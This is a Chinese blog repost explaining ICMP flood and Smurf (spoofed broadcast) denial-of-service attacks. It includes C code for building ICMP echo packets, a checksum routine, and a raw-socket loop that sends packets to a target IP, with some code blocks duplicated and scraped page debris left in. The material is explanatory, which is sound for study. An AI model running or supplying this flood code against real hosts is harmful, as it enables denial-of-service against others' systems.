美文网首页
ICMP flood 攻击

ICMP flood 攻击

作者: onlyHalfSoul | 来源:发表于2018-05-25 18:31 被阅读103次

http://blog.csdn.net/hwhaocool/article/details/22697325

icmp flood属于flood的其中一种.
达到效果有以下实现方法

1.两败俱伤

大量的 ICMP消息发送给目标系统,使得它不能够对合法的服务请求做出响应。中美黑客大战中的多数中国黑客采用的正是此项技术。ICMP FLOOD攻击实际上是一种两败俱伤的攻击方式,在主机"疯狂"地向攻击目标发送ICMP消息的时候,主机也在消耗自身的系统资源。如果自身的网络资源小 于目标的话,这种攻击就是"蚍蜉撼大树"。因此,ICMP FLOOD攻击为了达到很好的效果,往往要联合多台机器同时攻击同一台机器,从而形成分布式拒绝服务攻击(DDoS)。

2.借刀杀人

攻击者向许多地址发送ICMP Echo Request,但是它却告诉这些地址ICMP Echo Request不是它自己发的,而是"某某"发的,这个"某某"就会成为"众矢之的"。通过伪装目的主机的IP地址,向多个IP 网络的广播地址发送ICMP Echo Request数据包,使得目的主机需要消耗大量CPU 资源和有效带宽来处理来自众多节点的ICMP Reply数据包。该攻击的原理如下图:


v979yc5i62ve[1].gif

从图中可以看出,带宽仅为128Kbps的攻击者可以击溃带宽比其更大(512Kbps)的目标,因为ICMP SMURF采用的手段是"借刀杀人"!它本身并不向目标发送ICMP消息,而是向许多远程主机"诬告"攻击目标向他们发送了ICMP Echo,于是这些远程主机纷纷向攻击目标发送ICMP Reply,导致攻击目标崩溃。有明一代名将袁崇焕督师就是因为满人的反间计而被崇祯凌迟,并被当时的北京市民争其肉而食的。网络攻击中的"借刀杀人"照 样威力无穷。


2014033123061208437[1].png
305dd7ea50e1706daeafd55c[1].jpg
//定义ICMP首部
typedef struct _icmphdr{
unsigned char i_type; //8位类型
unsigned char i_code; //8位代码
unsigned short i_cksum; //16位校验和, 从TYPE开始,直到最后一位用户数据,如果为字节数为奇数则补充一位
unsigned short i_id ; //识别号(一般用进程号作为识别号), 用于匹配ECHO和ECHO REPLY包
unsigned short i_seq ; //报文序列号, 用于标记ECHO报文顺序
unsigned int timestamp; //时间戳
}ICMP_HEADER; 

计算校验和的经典函数:

SHORT checksum(USHORT* buffer, int size)
{
    unsigned long cksum = 0;
    while(size>1)
    {
        cksum += *buffer++;
        size -= sizeof(USHORT);
    }
    if(size)
    {
        cksum += *(UCHAR*)buffer;
    }
    cksum = (cksum>>16) + (cksum&0xffff); 
    cksum += (cksum>>16); 
    return (USHORT)(~cksum);
} 

计算校验和的经典函数:

SHORT checksum(USHORT* buffer, int size)
{
    unsigned long cksum = 0;
    while(size>1)
    {
        cksum += *buffer++;
        size -= sizeof(USHORT);
    }
    if(size)
    {
        cksum += *(UCHAR*)buffer;
    }
    cksum = (cksum>>16) + (cksum&0xffff); 
    cksum += (cksum>>16); 
    return (USHORT)(~cksum);
} 
<meta charset="utf-8">

[cpp] [view plain](http://blog.csdn.net/hwhaocool/article/details/22697325#) [copy](http://blog.csdn.net/hwhaocool/article/details/22697325#) [print?](http://blog.csdn.net/hwhaocool/article/details/22697325#)

1.  /////////生成ICMP会送请求报文  
2.  char icmp_data[65535]={0};                  //要发送的字符串  

4.  ((IcmpHeader*)icmp_data)->chksum=0;  
5.  ((IcmpHeader*)icmp_data)->type=8;                //会送请求  
6.  ((IcmpHeader*)icmp_data)->code=0;                //  
7.  ((IcmpHeader*)icmp_data)->id=2;    
8.  ((IcmpHeader*)icmp_data)->timestamp=GetTickCount();         //设置时间戳  
9.  ((IcmpHeader*)icmp_data)->seq=0;                             //序列号  

11.  memset(icmp_data+sizeof(IcmpHeader),'E',PACKET_SIZE);  
12.  ((IcmpHeader*)icmp_data)->chksum=  
13.  checksum((USHORT*)icmp_data,sizeof(IcmpHeader)+PACKET_SIZE);  //填入校验和  
14.  int datasize=sizeof(IcmpHeader)+PACKET_SIZE;  

16.  //开始发送数据报文了  
17.  sockaddr_in dst;  
18.  dst.sin_family=AF_INET;  
19.  dst.sin_addr.S_un.S_addr=inet_addr(dstIP);  
20.  DWORD dwStart=GetTickCount();  
21.  while(GetTickCount()-dwStart<10)          //程序运行10秒后退出  
22.  sendto(sockRAW,icmp_data,datasize,0,(struct sockaddr*)&dst,sizeof(dst));

/////////生成ICMP会送请求报文
    char icmp_data[65535]={0};                  //要发送的字符串

    ((IcmpHeader*)icmp_data)->chksum=0;
    ((IcmpHeader*)icmp_data)->type=8;               //会送请求
    ((IcmpHeader*)icmp_data)->code=0;               //
    ((IcmpHeader*)icmp_data)->id=2; 
    ((IcmpHeader*)icmp_data)->timestamp=GetTickCount();         //设置时间戳
    ((IcmpHeader*)icmp_data)->seq=0;                             //序列号

    memset(icmp_data+sizeof(IcmpHeader),'E',PACKET_SIZE);
    ((IcmpHeader*)icmp_data)->chksum=
        checksum((USHORT*)icmp_data,sizeof(IcmpHeader)+PACKET_SIZE);  //填入校验和
    int datasize=sizeof(IcmpHeader)+PACKET_SIZE;

    //开始发送数据报文了
    sockaddr_in dst;
    dst.sin_family=AF_INET;
    dst.sin_addr.S_un.S_addr=inet_addr(dstIP);
    DWORD dwStart=GetTickCount();
    while(GetTickCount()-dwStart<10)          //程序运行10秒后退出
    sendto(sockRAW,icmp_data,datasize,0,(struct sockaddr*)&dst,sizeof(dst));
20140401014054218[1].png

相关文章

网友评论

      本文标题:ICMP flood 攻击

      本文链接:https://www.haomeiwen.com/subject/pdvujftx.html